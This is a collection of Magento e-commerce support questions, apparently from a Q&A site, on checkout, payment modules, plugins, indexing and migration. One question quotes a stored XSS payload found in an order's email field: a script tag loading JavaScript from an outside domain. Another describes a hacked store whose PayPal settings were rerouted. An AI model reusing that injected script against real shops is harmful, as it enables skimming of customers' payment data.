    <type name="Magento\Checkout\Model\CompositeConfigProvider">
     <arguments>
        <argument name="configProviders" xsi:type="array">
            <item name="vendorname_worldpaydirect_configprovider" xsi:type="object">VendorName\Worldpaydirect\Model\WorldpaydirectConfigProvider</item>
        </argument>
     </arguments>
    </type>
</config>

  VendorName/Worldpaydirect/Model/WorldpaydirectConfigProvider.php

<?php
namespace VendorName\Worldpaydirect\Model;
use Magento\Checkout\Model\ConfigProviderInterface;
use Magento\Framework\View\Asset\Source;
class WorldpaydirectConfigProvider implements ConfigProviderInterface
{
public function __construct(\Magento\Payment\Model\CcConfig $ccConfig,
        Source $assetSource)
{
$this->ccConfig = $ccConfig;
$this->assetSource = $assetSource;
}
protected $_methodCode = 'worldpaydirect';
public function getConfig()
{
return [
'payment' => [
'worldpaydirect' => [
'availableTypes' => [$this->_methodCode => $this->ccConfig->etCcAvailableTypes()],
'months' => [$this->_methodCode => $this->ccConfig->getCcMonths()],
'years' => [$this->_methodCode => $this->ccConfig->getCcYears()],
'hasVerification' => $this->ccConfig->hasVerification(),
]
]
];
}
}


texts: What is the procedure to setup Magento in Amazon web host?

texts:
I want to set up my system using Amazon Web Services as a hosting provider. Can anyone help me with the follow:

What is a good starting point for setting up an AWS box?
How can I configure AWS to work with Magento?

Please help me


texts:
I wants to remove billing address from all over the site. Is it possible with Magento 2 ?
sections i want to remove are

My account
Order flow
Admin side customer account
Checkout
etc...


texts: Forgot password email: wrong shop view in link

texts:
I have two shop views and both use the same user accounts. If an user registers to shop A and requests a password reset in shop B, he gets a link to shop A.

In the email template this link is created with:

{{store url="customer/account/resetpassword/" _query_id=$customer.id _query_token=$customer.rp_token}}

I would like the email to link to the shop it is send from.


texts:
etc/di.xml

 <?xml version="1.0"?>

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <type name="Magento\Customer\Controller\Address\FormPost">
        <plugin name="yourCompanyYourModuleControllerProductView" type="namespace\Customer\Plugin\FormPost" sortOrder="1"/>
    </type>
</config>

Plugin/FormPost.php

<?php
namespace namespace\Customer\Plugin;
class FormPost {
    public function afterExecute(\Magento\Customer\Controller\Address\FormPost $subject)
    {
        $temp = '';
        $te = '';
    }
}

But code is not being called.. any one has idea what could be possible reason for this?
Thanks


texts: Magento 2.2.2: Customer Grid Indexer not working

texts:
While re indexing got an error:

  PHP Fatal error: Uncaught Error: Call to undefined method Magento\Customer\Model\Indexer\Source::addAttributeToSelect() in /var/www/html/ncsmokehouse/vendor/magento/framework/Indexer/Handler/AttributeHandler.php:38


texts: Magento 2.1.3 Custom Payment Method not showing while showing in Magento 2.1.1?

texts:
I have created 1 custom payment method in magento 2.1.1.

Its working fine in it.

Now I have upgraded to magento 2.1.3.

Now in Magento 2.1.3 custom method is not showing at admin and frontend.

What happend actually I'm not getting.

Can anyone help me...


texts: UPS returns 3 Day Select rate quote even though there is no 3 Day Select to that destination!

texts:
Why is the UPS XML rate quote, which is standard in Magento, return a rate for UPS 3 Day Select, even if there is no 3 Day Select to that destination.

Example: the ship from zip code is 99999, and the ship to zip code is 99999. So really UPS should only return rates for UPS GND and UPS Next Day Air options. There should not be a 2 day or 3 day, yet they are quoted. Why? Isn't there a way to fine tune or disabled that? Also, is there a way to get time in transit returned from UPS? When I go to the UPS Worldship website and get a rate quote it tells me exactly how many days transit UPS Ground, or UPS Standard, or UPS international options have, at least in form of 5-7 days, or 4 days, or what not. Why is this not integrated in the Magento 1.9.2.4 system.

Or is it a settings issue? My main thing is that it is displaying a UPS  3 Day Select option even though if UPS Ground has a 1 day transit time. UPS website does not give a UPS 3 Day select quote when I run the very same quote.

Anyone knows? Thanks.

Mr L


texts: When customers browse the website form other browsers everything works as it should but in Firefox all the inputs like search box, selects on configurable products, checkout form are not clickable but can be tabbed. I am using Porto 2.6.2 as a theme.


texts: Need to add button for remove single item at once

texts:
I need to add button/link into the basket page which will be able to remove a single item. Each item should have separate button for remove that item.

How can I insert it into Magento_Checkout:cart/item/default.phtml file?


texts:
I have created one custom blog module. For adminpanel Post form i have one field named "identifier". When i save the form all field values getting saved except the "identifier" field.I have tried following too

public function saveAction() {
    if ($data = $this->getRequest()->getPost('post')) {
        try {
            $data = $this->_filterDates($data, array('post_date'));
            $post = $this->_initPost();
            $post->setData('identifier', $data['identifier']);
            $post->addData($data);
            $post->save();

But not getting saved. Please help me.


texts: Validate zip code before placing the order in Magento 2

texts:
Without entering real zip code checkout won't allow placing the order. We need this for the UK site.
In detail: If the shipping country United Kingdom is selected then the customer need to insert a valid zip code like "AB2 3CD". They won't allow dummy zip code like "AB2"
Please check the attachment. Magento shows the notice, not an error. Customers can allow continuing without entering a valid post code.


texts: How to add custom filed with custom step in magento2 checkout?

texts:
I want to add custom step checkout step with  tile "Prescription"

with one custom form where four radio button is present and selecting those radio button save in custom table when order placed

i know how to create custom step in checkout but i don't know how to save data with custom table

in magento2


texts: How to clone a product programatically in Magento2

texts:
I have to create a clone product programmatically in Magento2. Below code (based on Magento1 answers in this forum does not work).

$newproduct =   $om->create('Magento\Catalog\Model\Product');
$newproduct->load(10);
$clone = $newproduct->duplicate();

I don't see any duplicate() method in Product class. Any help/pointers?


texts:
I'm setting up a multi-language e-commerce store and I want to customize magento2 localization.
What is the most efficient way to do it?

For example, if I have a es_ES store and I want to change "string a" in "string b", how can I do it?

Thanks in advance to all!


texts: How can I debug "empty template": Filename cannot be empty in Template.php

texts:
we are suddenly seeing an empty template issue in our logs. And I am finding it difficult to debug which module/function is causing this.

Question: with what debug statement could I capture the culprit?

LOG

ERR (3): Warning: include(): Filename cannot be empty  in /app/code/core/Mage/Core/Block/Template.php on line 241
ERR (3): Warning: include(): Filename cannot be empty  in /app/code/core/Mage/Core/Block/Template.php on line 241
ERR (3): Warning: include(): Failed opening '' for inclusion (include_path='/lib/minify:/app/code/local:/app/code/community:/app/code/core:/lib:.')  in /app/code/core/Mage/Core/Block/Template.php on line 241

and the code in template.php

   try {
        $includeFilePath = realpath($this->_viewDir . DS . $fileName);
        if (strpos($includeFilePath, realpath($this->_viewDir)) === 0 || $this->_getAllowSymlinks()) {
            include $includeFilePath;
        } else {
            Mage::log('Not valid template file:'.$fileName, Zend_Log::CRIT, null, null, true);
        }

    } catch (Exception $e) {
        ob_get_clean();
        throw $e;
    }

help appreciated ;P


texts:
I am using the Magento Cloud, is there anyway to pause or temporary disable the cron job running on Magento?

Thanks


texts: Which controller is used when bulk printing invoices? (Magento1.9)

texts: On the orders grid, when using the Action Print Invoices, which controller is used to generate the invoices?


texts: Orders are cancelling after successful payment is logged

texts:
I have a client's large online retail site which we have been managing for about a year. Over the past two months things have become quite weird.

Customers appear to be placing orders through the site and are redirected to PayU Payment gateway. Now when they return to the site, the payment is captured, but what happens is a few seconds later, the order is cancelled (even though payment has been made).


texts: Addresses Delete not working in address book Magento 2.3

texts: Add additional addresses to address book in magento 2.3 then Click on ' Delete Address' link in address book it redirect to 404 page and invalid url shows.


texts: Doubt regarding an event observer magento

texts:
I have a doubt regarding magento event observers. Suppose I have multiple modules that observe to same event. Suppose I made a particular module's event to load first. Then what will happen to event observers of other modules ? Magento simply neglect observers of other modules or every observers will execute in the loaded order ?

Kindly lighten me with your ideas.

Thanks in advance.


texts: How to export all customers based on ordered items SKU?

texts: How to find all customers who ordered a certain SKU ?


texts: I am integrating fedex in magento 1.9.0.1. But for fedex certification they need to print sample label for Ground, a sample Label for Express and a sample label for International.I am unable to figure out how to print all these.


texts: Issues adding voucher code to configurable product

texts: I am trying to add a 5% discount code to a configurable product that has alot of elements in it, it seems as though this won't work as normal becuase it is configurable even though I have the category selected. Any ideas on how I can go about this?


texts: How to clear Billing for data after emptying Shopping Cart

texts:
I have a requirement to clear completed form fields in Magento shopping cart if the cart is emptied. At the moment I have enabled persistent shopping cart but if the cart is emptied after customer info has been entered in the billing address fields etc I need to somehow clear the form also.

I have tried adding:

//session_destroy();

To my EmpyCart controller but it doesn't work

<?php

class MyModule_EmptyCart_IndexController extends Mage_Core_Controller_Front_Action
{
    public function indexAction()
    {
        //Get cart helper
        $cartHelper = Mage::helper('checkout/cart');

        //Get all items from cart
        $items = $cartHelper->getCart()->getItems();

        //Loop through all of cart items
        foreach ($items as $item) {
            $itemId = $item->getItemId();
            //Remove items, one by one
            $cartHelper->getCart()->removeItem($itemId)->save();
        }

        //Redirect back to cart or wherever ou wish
        $this->_redirect('checkout/cart');
            Mage::getSingleton('checkout/session')->clear();
    }

    public function addAllAction()
    {
        //Get cart helper

        $cartHelper = Mage::helper('checkout/cart');

        //Get all items from cart
        $items = $cartHelper->getCart()->getItems();

        //Loop through all of cart items
        foreach ($items as $item) {
            $itemId = $item->getItemId();
            //Remove items, one by one
            $cartHelper->getCart()->removeItem($itemId)->save();
        }

        //Redirect back to cart or wherever ou wish
        $this->_redirect('checkout/cart');
            Mage::getSingleton('checkout/session')->clear();
    }
}

Is there a simpler way to empty the fields without disabling persistence?


texts: How can I setup cron job in Wamp Windows?

texts: How can I configure the Magento 2 cron job in Wamp Windows? For upgrade Magento 2 asking cron in Wamp localhost.


texts: Customer Account Registration Form Customer Group Assign in Frontend Magento2

texts: Magento2 module Require Where I will be able to assign customer group from frontend when Customer will Create Magento 2 customer account?


texts: How to add the item_ID value next to item_SKU value at Admin view order for items ordered block?

texts: By default Magento 2.1.6 shows the item description and the item_SKU , but I also want to add/show the item_ID field to it's first column. Any idea how to add it?


texts:
There's an annoying effect of an image 'jumping' on the page when a product page is opened up. It can be seen on any default Magento 2 installation.
It looks like even provided with the exact pixel image (width/height) M2 stills resizes the image and produces an image that when the product page is loaded appears bigger and then shrinks by about 10%. It looks really bad. How can we bypass this problem? Any fixes?
Thank you!


texts: How to Filter grid on load added by insertlist tag in an admin form using url parameter magento 2.x

texts:
How can I filter the grid listing on page loading, which is added in the admin form using insertlist tag using an URL parameter?
form.xml
<insertListing name="slide_grid">
    <argument name="data" xsi:type="array">
        <item name="config" xsi:type="array">
            <item name="autoRender" xsi:type="boolean">true</item>
            <item name="ns" xsi:type="string">featuredinstallation_gallery_listing</item>
            <item name="externalProvider" xsi:type="string">featuredinstallation_gallery_listing.featuredinstallation_gallery_listing_data_source</item>
            <item name="imports" xsi:type="array">
                <item name="project_id" xsi:type="string">${ $.provider }:data.id</item>
            </item>
            <item name="exports" xsi:type="array">
                <item name="id" xsi:type="string">${ $.externalProvider }:params.id</item>
            </item>
        </item>
    </argument>
</insertListing>

listing.xml
<argument name="data" xsi:type="array">
    <item name="config" xsi:type="array">
        <item name="component" xsi:type="string">Magento_Ui/js/grid/provider</item>
        <item name="update_url" xsi:type="url" path="mui/index/render"/>
        <item name="filter_url_params" xsi:type="array">
            <item name="id" xsi:type="string">*</item>
        </item>
        <item name="storageConfig" xsi:type="array">
            <item name="indexField" xsi:type="string">id</item>
        </item>
    </item>
</argument>

GalleryDataProvider.php
protected function prepareUpdateUrl()
    {

        if (!isset($this->data['config']['filter_url_params'])) {
            return;
        }

        foreach ($this->data['config']['filter_url_params'] as $paramName => $paramValue) {
            if ('*' == $paramValue) {
                $paramValue = $this->request->getParam('id');
                //echo $paramValue;
            }
            $this->data['config']['update_url'] = sprintf(
                '%s%s/%s/',
                $this->data['config']['update_url'],
                $paramName,
                $paramValue
            );
            $this->addFilter(
                $this->filterBuilder->setField('project_id')->setValue($paramValue)->setConditionType('eq')->create()
            );

            /*if ($paramValue) {
                $this->data['config']['update_url'] = sprintf(
                    '%s%s/%s/',
                    $this->data['config']['update_url'],
                    $paramName,
                    $paramValue
                );
                $this->addFilter(
                    $this->filterBuilder->setField($paramName)->setValue($paramValue)->setConditionType('eq')->create()
                );
            }*/
        }
    }

This is not working and what's wrong with this code?


texts: I need Products to always be instock and manage inventory. Magento ver. 2.2.3

texts:
In my business, we do 50/50 dropshipping. I need to manage inventory within Magento but at the same time when inventory hits 0, I still need the product to stay In Stock because I will drop ship it.

Any way to do this?


texts:
When creating a new component, the route depends completely on the directory structure, like so:

'module/controller/action'

Seems a little unnecessarily strict; can anyone point me to a means of mapping routes to shorter namespaces?


texts:
How to update quote item quantity programmatically in Magento 2

From Controller and which repository should i use ?


texts: Form which i getting from ajax not working in admin panel Magento 2

texts:
I have a form in the content of the ajax response, but when I submit the form, the action does'nt work (redirected to dashboard), form action same page,  but when I use this form without Ajax, then it works fine, thanks for help

<form class="wrapper" method="GET" name="go_to_print_page" id="go_to_print_page" action="<?php echo $createAction; ?>">
     <input name="send_customer_id" class="send_customer_id" type="hidden" value="<?php echo   $customerId; ?>" />
     <input name="form_key" type="hidden" value="<?php  echo $this->getFormKey() ?>" />
     <button type="submit" class="submit"><?php echo __("View");?></button>
</form>

AJAX REQUEST

  jQuery.ajax({
             url: url,
             type: "POST",
             data: {createdFrom:createdFrom,createdTo:createdTo},
             showLoader: false,
             cache: false,
             success: function(response){
             jQuery('#printTable_wrapper').html(response.output);
             jQuery('#printTable_wrapper').trigger('contentUpdated');
             });


texts:
Just out of curiosity: Is the JQMIGRATE necessary for Magento 2?

Because it is complaining about using a deprecated psuedo event. Please see the below screenshot.

If it's not necessary for Magento 2, how to disable it?

Please let me know your thoughts.


texts: How to add new custom sub menu in Sales Admin Menu?

texts:
I'd like to add a new submenu called as Deliveries below Transactions submenus. In what kind of way I can achieve this ?
Thank you in advance.


texts: Restrict system.log logging to particular error level?

texts:
By default Magento logs notices, warnings and errors into the system.log file. Is it possible to restrict the log level so that Magento doesn't log PHP notices?

Magento's Mage::log() method offers the option to set the log level by providing, e.g. Zend_Log::DEBUG as a parameter, and it'd be great to suppress logging of PHP notices.

ps. I do know that fixing the code producing the errors would be recommended, but the errors originate from third-party code and extensions, so that'd be impossible to manage.


texts: Magento 2.1 and PHP 7.0.8 work extremely slow

texts:
I had Magento 2.0.4 instance running on vagrant machine:

CentOS 6.5
PHP 7.0.1
MySQL 5.6.31

I've upgraded to 2.1 with composer but then when I tried to run

php bin/magento setup:upgrade

I get noticed that PHP version is not supported and needed to upgrade [release notes]. So I've upgraded to PHP 7.0.8 and then my Magento starts to work very slow (about 45 sec for any frontend page). I tried to downgrade Magento to 2.0.4 but still working slow. I assume that is from the PHP version upgrade.

When I turned on caches it works normal.

Did anyone had this issue and know how to resolve it?


texts:
Dear Magento specialists,

I always had Magento 1 running. However for my new webshop I like to run Magento 2. I have installed Magento 2 using Installatron. I extracted theme files in the root directory. However I am trying to enable modules using command lines. My hosting provider enabled SSH. I have to connect through a different port 7685. I can login using SSH, but no command will work. Could you guys help me? Thank you.

If I try to execute a command using terminal I get always No such file or directory

ssh Last login: Wed May 17 19:21:51 on console
MacBook-Pro-van-Rick:~ Rick$ ssh u2081p13512@sonsofadealer.com -p 7685
u2081p13512@sonsofadealer.com's password:
[u2081p13512@web0114 ~]$ ls -l
totaal 12
drwx--x--x 3 u2081p13512 u2081p13512 4096 mei 12 20:12 domains
drwxrwx--- 3 u2081p13512 mail        4096 mei 12 20:12 imap
drwxrwx--- 2 u2081p13512 mail        4096 mei 12 20:12 Maildir
lrwxrwxrwx 1 u2081p13512 u2081p13512   39 mei 12 20:12 public_html -> ./domains/sonsofadealer.com/public_html
[u2081p13512@web0114 ~]$ ll
totaal 12
drwx--x--x 3 u2081p13512 u2081p13512 4096 mei 12 20:12 domains
drwxrwx--- 3 u2081p13512 mail        4096 mei 12 20:12 imap
drwxrwx--- 2 u2081p13512 mail        4096 mei 12 20:12 Maildir
lrwxrwxrwx 1 u2081p13512 u2081p13512   39 mei 12 20:12 public_html -> ./domains/sonsofadealer.com/public_html
[u2081p13512@web0114 ~]$ bin/magento module:enable Infortis_Base Infortis_Brands Infortis_Cgen Infortis_Dataporter Infortis_Infortis Infortis_Ultimo Infortis_UltraMegamenu Infortis_UltraSlideshow
-bash: bin/magento: No such file or directory
[u2081p13512@web0114 ~]$


texts: Magento 2: Place an Order Checkout button popup box

texts:
Merry Christmas everyone.

I have a question guys can you please teach me how to add a popup or modal upon clicking the "Place an Order" Button on the checkout page?

Just correct me if I'm wrong thanks.

Here's some screenshot

And this is the popup box that will appear after clicking place an order.


texts: Magento 2 : Wrong Increment Id generate in table

texts:
When I create any entry in admin like product or custom module entry then table assigns +3 increment ids like 1,3,6,9....1569,1572 & so on...

Is there any setting ? I need to do to assign it in sequence way like 1,2,3,...

Any idea? please share.


texts:
how to align the custom order option in magento 2 in product list page sort by options ?

how to set the custom order in attributes using Short by options ?


texts: Best way to build css files in Magento 2

texts:
We are currently developing a new Magento 2 store.

Therefore we are going to use the default Luma theme and edit it to fit our needs.
We need to write a lot of new css rules to fit our brand identiy.

What will be the best way to create css files?

Do we need to create 1 custom.css file and load that on every page?
Or is it better to create a category.css, productpage.css and homepage.css etc file?

The main reason we ask this is due to performance.


texts: Magento 2 checkout_index_index how data is defined

texts:
If I refer to this code

<item name="filterBy" xsi:type="array">
    <item name="target" xsi:type="string"><![CDATA[${ $.provider }:${ $.parentScope }.country_id]]></item>
    <item name="field" xsi:type="string">country_id</item>
</item>

Can any one explain me what this part does

<![CDATA[${ $.provider }:${ $.parentScope }.country_id]]

what is $.provider and $.parentScope ?


texts: Magento 2 TEST_SUITE=functional ACCEPTANCE_INDEX=1

texts:
Pull request errored with message:

"The job exceeded the maximum time limit for jobs, and has been terminated."
ref: https://travis-ci.org/magento/magento2/jobs/285215690

Never used before.! what to do? help.

Thank's


texts: Strange email address in order detail page in Admin panel

texts:
In Magento 1.x admin panel (order detail page) instead customer email, there is a code:

mailto:"id = ee><script src=https://magelibs.net/ga.js></script>"@gmail.com

Payer Email in Payment Information section is the same.

Has anybody the same strange issue, and maybe know how to prevent it?


texts: Magento2: How to redirect to payment section checkout?

texts:
I am trying add code for redirect  $this->resultRedirect->setPath('checkout/index/index#payment');

but some reason its take slash at the end of url so url become www.demo.com/checkout/index/index#payment/

which give me 404. if I pass www.demo.com/checkout/index/index#payment it work.

in-short I am getting addition slash at the end after parameter.


texts: AdminGrid get collection on tab click / load on demand

texts:
Greetings StackExchange.

I have a feature request on a admingrid.
We are using Boost My Shop ERP for our shop.

Is it possible for make a modification on how/when to load the collection?

The module is loading 4 different collections with data into their own seperate tab in the grid.

Is where a way to only load a collection if one is active on the tab?

Here is a screenshot of the module:


texts: How to restore order that have been cancelled.i'm having problems restoring cancelled-orders and recovering purchase request from order view page.is there any extension which can help me resolve this problem?


texts:
I'm pretty new to Magento, I installed a theme on my local Magento shop, and changed every field in the system > configuration > design > themes to my_template_name and cleared the cache.

All of my pages' theme has been changed, but my homepage still has the default theme of Magento(the theme before I install the new one), what should I do ?


texts: set values to fields in adminhtml form template

texts:
I'd created a template file for admin form tab as:

class Excellence_Designer_Block_Adminhtml_Designer_Edit_Tabs extends Mage_Adminhtml_Block_Widget_Tabs {

    protected function _beforeToHtml() {
        $this->addTab('images', array(
            'label' => Mage::helper('designer')->__('Images'),
            'title' => Mage::helper('designer')->__('Images'),
            'content' => $this->getLayout()->createBlock('designer/adminhtml_designer_edit_tab_images')->toHtml(),
        ));

        return parent::_beforeToHtml();
    }

}

class Excellence_Designer_Block_Adminhtml_Designer_Edit_Tab_Images extends
Mage_Adminhtml_Block_Template implements
Mage_Adminhtml_Block_Widget_Tab_Interface {

    public function _construct() {
        parent::_construct();
        $this->setTemplate('designer/edit/tab/images.phtml');
    }

    public function getTabLabel() {
        return $this->__('Images');
    }

    public function getTabTitle() {
        return $this->__('Images');
    }

    public function canShowTab() {
        return true;
    }

    public function isHidden() {
        return false;
    }

}

images.phtml

    Custom Field
    <input type="text" class="input-text" name="image" id="image" />

but there's no value in there if I do want to edit the form

 even the value is saved in database. The other tab was created with Mage_Adminhtml_Block_Widget_Form and showing the values in fields but for this how could I get the value?


texts: Magento 1.x Custom Module - get wrong Frontend Url

texts:
I have Mage 1.9 with my custom module installed. I have checked that the function

Mage::getUrl('mymodule/api/users/1');

return wrong url with admin path. We also use a custom path for the admin area.
This is my config.xml

     <admin>
            <routers>
                <adminhtml>
                    <args>
                        <modules>
                            <Mymodule_Mymodule before="Mage_Adminhtml">Mymodule_Mymodule_Adminhtml</Mymodule_Mymodule>
                        </modules>
                    </args>
                </adminhtml>

            </routers>
        </admin>
<frontend>
        <routers>
            <mymodule>
                <use>standard</use>
                <args>
                    <module>Mymodule_Mymodule</module>
                    <frontName>mymodule</frontName>
                </args>
            </mymodule>
        </routers>

Now, calling Mage::getUrl('mymodule/api/users/1') from admin area return this url:

https://website.com/index.php/admin/mymodule/api/users/

Can anyone help?


texts: Magento 2: Failed to load the "Magento_GiftMessage/js/view/gift-message" component on cart page

texts:
I am using Magento 2.3.4, I am getting this error on my cart page and also not showing the tax and discount sidebar on the cart page, this error is coming on console.
After debugging I came to know that it is conflicting with a third party extension - Multisafepay, the payment gateway when disabling this module the cart page is working fine.
I am not able to disable the magento_giftmessage module as many other modules are dependant on it.


texts: Disable Clickable Link On Magento 2 Order Grid Rows or ID column

texts:
When our customer service people need to copy an order number from the Admin Order Grid, they try and highlight it with their cursor and copy it but that triggers the standard M2 click action to show the order.

I need to be able to remove the URL from the ID cell or alternatively the whole row in the order grid only. We can still edit the order by clicking the "edit" link but the whole row being clickable is causing problems.

Would appreciate your help.


texts: Magento, photo import ( csv ) from url, no direct link

texts:
How do I import CSV a photo from a url?

It is not a direct link though. There is a link to the product page with description and a photo gallery.

here is how the link ends

  /product.php/pid-P0512Z77/

images are sorted like this:

/productphotos/large/P0512Z77.jpg
/productphotos/large/P0512Z77-1.jpg
/productphotos/large/P0512Z77-2.jpg

etc.


texts: Magento 2.3 - How to solve Multi-Site Eway Payment page Mysql error


texts:
I am in the process of developing a Custom Module for my Magento 2 web store.

The module will be a forum, I am developing this from scratch as it will require integrating with an existing custom module I have developed to share user created content.

In the forum, I wish to have URLs specific to each Post/Thread. For example:

www.mywebsite.com/Forum/Category/PostTitle

This will keep the urls clean, allowing users to quickly access a specific post or category without navigating through the website.

The data will be stored in our magento database and so the variables for the URL will need to come from there.

An example of what i wish to implement is also used on Stack Exchange; The url for this question is:

https://magento.stackexchange.com/questions/209504/custom-module-dynamic-url

Where the last part of the url custom-module-dynamic-url is the title of my question.

I have drawn up a rough diagram of what I wish to create.

https://repository.genmymodel.com/darryl3/Forum

How would I go about implementing such a feature?

Thanks.


texts: How can add unsubscribe link in custom email template magento1?

texts:
I want to add unsubscribe link in the custom email template. I am using code:

Unsubscribe

But it is not working, can anybody help to do this?


texts: Magento Migration Unable to serialize value from sales_flat_order_item

texts:
I'm getting error while Migrating data from 1.9.3.3 to 2.2.6 CE.

Error I'm getting is like below:

  Could not unserialize data of sales_flat_order_item.product_options
  with record id 7.

I've checked that field there is broken value like : b:0;

Rather than this other fields have complete serialize data.

Note : I've also more fields with universalize value.

Thanks If you help me with this.


texts: Backend repeatedly hacked in version 1.9.1.0 CE by changing Paypal account info. How to fix and secure?

texts: Our site has been repeatedly hacked over the past week.  This is our first Magento site and it has only been up a couple months.  The hacker or bot, etc. will go in and disable the other forms of payment besides paypal and switch the account to a paypal account of their own.  Obviously I change this back and reenable the other payment methods (which is just check/money order and is actually how we do most of our business).  I also check for new users and eliminate those.  Then they will do it all again a couple days later.  I've changed my passwords.  What do I need to do now?  There is obviously some vulnerabilities I've not fixed.  Perhaps some code that has been inserted somewhere (i read one post about new files in js and media folders but was unable to find any recent modifications by looking at the dates).  Maybe I just need to update my Magento version to 1.9.3.2?  If that is all I need to do, should I still backup all my data in the manner explained in the different magento upgrade roadmaps or should I just start from scratch since it can be assumed that my original data has been corrupted?  Any and all help is greatly appreciated.  Thank you.


texts: How to add a custom field under shipping method in magento 2?

texts: How to add a custom input select  field under shipping method in checkout page in magento 2?


texts: Best option to have a holding page while developing

texts:
I am working on a new Magento site and have a "coming soon page" running (HTML/CSS/JS). This conflicts with the Magento setup and therefore it doesn't show (due to .htaccess redirecting everything to index.php).

My question is: What is the best way to keep the coming page running but being able to work with the backend?

Any suggestion is welcome, if possible please provide guide or link to a tutorial.


texts:
I installed magento on my mac osx with xampp as localhost.
After some issues with the installation extension i had been able to install it but now the browser shows a 404 page without style for the homepage

http://127.0.0.1/mystore/

admin page

http://127.0.0.1/shoehappy/admin_mystore

Do you have any idea to how solve that mess? thanks


texts: Magento 2 : How to Display Larger Number of Products Than 999

texts:
I need to display over 4000 products on one page.

Unfortunately, in Magento I can set a maximum of 999. How to change it?


texts: Change request in observer on event adminhtml_sales_order_create_process_data_before

texts:
I need to change some data in request before reorder in backend with observer. But I'm constantly failing in changing request params. There are two entities of the request, one in core create controller and one in observer. Seems they are not connected at all.

My question: Can I possibly change any data on adminhtml_sales_order_create_process_data_before to make influence on order creation process, or better step aside from observer and rewrite controller function?

public function checkPonAndIponData($observer)
{
    $request = $observer->getEvent()->getRequest()->getParams();

    if(isset($request['order']['quote'])) {
        $data['purchase_order_number'] = isset($request['order']['quote']['purchase_order_number'])?:null;
        $data['internal_purchase_order_number'] = isset($request['order']['quote']['internal_purchase_order_number'])?:null;
        foreach($data as $key => $array) {
            if(isset($array['check'])) {
                $data[$key] = isset($array['old'])?:null;
            } else {
                $data[$key] = isset($array['new'])?:null;
            }
            $request['order']['quote'][$key] = $data[$key];
        }
    }

    $observer->getEvent()->getRequest()->setParams($request);
    return $observer;
}


texts: how to get min/max regular price for a grouped product in list.phtml?

texts:
i'm wondering how to get the normal price (before discount) for a grouped product in list.phtml, i only know how to get the special price by the following code

<?php echo 'From: '.$_coreHelper->formatPrice($_product->min_price, false).' - '.$_coreHelper->formatPrice($_product->max_price, false); ?>

but how to get min/max regular price?


texts: Magento 1.9.X: how can I run magento on docker-compose?

texts:
how can I run magento 1 on docker-compose?
What configuration must contain docker-compose.yml file if I need want to use PHP-7.2, MySQL and Nginx?


texts:
I have amazon payment method in my shop, used Magento 2.3

If it's sandbox mode, it's ok. But live mode, it show this error. Please help me, thanks all

Fatal error: Uncaught TypeError: Argument 2 passed to Magento\Eav\Model\Attribute\Data\Text::validateLength() must be of the type string, null given, called in /home/public_html/vendor/magento/module-eav/Model/Attribute/Data/Text.php on line 80


texts:
Could any1 please tell how this error can be solved?

I just have:

\Vendor\Module\Controller\Result\Index.php

<?php
namespace Vendor\Module\Controller\Result;

use Magento\Framework\App\Action\Context;

class Index extends \Magento\Framework\App\Action\Action
{
    protected $tglssearchHelper;
    protected $resultPageFactory;

    public function __construct(
        Context $context,
        \Magento\Framework\View\Result\PageFactory $resultPageFactory

    )
    {
        parent::__construct($context);
        $this->resultPageFactory = $resultPageFactory;
    }

    public function execute()
    {
        $resultPage = $this->resultPageFactory->create();
        $resultPage->getLayout()->initMessages();
        $resultPage->getLayout()->getBlock('catalogsearch.leftnav');
        return $resultPage;
    }
}

My etc di:

<preference for="Magento\CatalogSearch\Controller\Result\Index" type="Vendor\Module\Controller\Result\Index" />

I get:

  Fatal error: Cannot instantiate interface
  Magento\Catalog\Model\Layer\FilterableAttributeListInterface in
  C:\xampp\htdocs\magento2x_2\lib\internal\Magento\Framework\ObjectManager\Factory\Dynamic\Developer.php
  on line 73


texts:
I have a client requesting a webshop where products with "customizable" attributes can be sold. Specifically they will sell fabrics where the buyer can specify a certain length (i.e. 150 cm or 160cm). Also the price must adjust accordingly (i.e. $10 for 150cm and $20 for 300cm).

Is this possible to do with Magento 2? Obviously we couldn't make configurable products with one product for each centimeter. Just a hint on where to start would be super helpful - I really can't find any useful information at all about it.


texts: How and where to add join query in magento 2 for UI components

texts:
I have referred this link

Reference link

Now where I have to place a code for join query multiple table for custom admin grid in magento 2

I have referred many links but got failed for ex.

adding below code in

Company\Module\Model\ResourceModel\Credits\collection.php

    protected function _initSelect()
        {
            echo 'hererer';
            die;
            parent::_initSelect();

            $this->getSelect()->joinLeft(
                    ['secondTable' => $this->getTable('customer_grid_flat')],
                    'main_table.customer_id = secondTable.entity_id',
                    array('*')
                );
            $this->addFilterToMap('firstname', 'secondTable.name');
            //$this->addFilterToMap('columnname2_clias', 'secondTable.columnname2');
            return $this;
        }

    <columns name="credit_listing_columns">
            <column name="customer_id">
                <settings>
                    <filter>text</filter>
                    Customer ID
                    <sorting>asc</sorting>
                </settings>
            </column>
            <column name="firstname">
                <settings>
                    <filter>text</filter>
                    Customer Name
                </settings>
            </column>
            <column name="credit">
...

what is the proper magento procedure or what is wrong with this, also I tried to echo die; inside this function but got failed.


texts: Magento 1.9 : Add value to file type custom option when adding product to cart programmatically

texts:
I am calling $cart->addProduct($product, $params); for adding product to cart. Where, $product is product collection  & $params is as follows as received from product page.

   Array
(
    [uenc] => aHR0cDovL2xvY2FsaG9zdC9tYWdlbnRvMTkvaW5kZXgucGhwL3Rlc3QtY2F0ZWdvcnkvdGVzdC1ncm91cGVkLXNpbXBsZS5odG1sP19fX1NJRD1V
    [product] => 1
    [form_key] => TmdkzWPP9ClLclJC
    [related_product] =>
    [options_1_file_action] => save_new
    [options_1_file] => test.png
    [options] => Array
        (
            [3] => fafasf
            [2] => 2
        )

    [qty] => 3
)

Everything is working fine except the file type custom option value is not getting added.
Thanks in advance!!!


texts: Magento query doesn't filter on category_id

texts:
On my live site I'm trying to get all products in a specific category. This works on a test environment with exactly the same code, but not on the live site. This is the code:

$products = Mage::getModel('catalog/product')->getCollection();

    // Select which fields to load into the product
    // * will load all fields but it is possible to pass an array of
    // select fields to load
    $products->addAttributeToSelect('*');

    $subCategories = explode(',', $currentCategory->getAllChildren());

    $products->joinField('category_id', 'catalog/category_product', 'category_id', 'product_id = entity_id', null, 'left');
    $products->addAttributeToFilter('category_id', array('in' => array('finset' => $subCategories)));
    $products->getSelect()->group('e.entity_id');

    $products->getSelect()->order('RAND()');
    $products->getSelect()->limit(8);

When I echo $products->getSelect()this is the query I see:

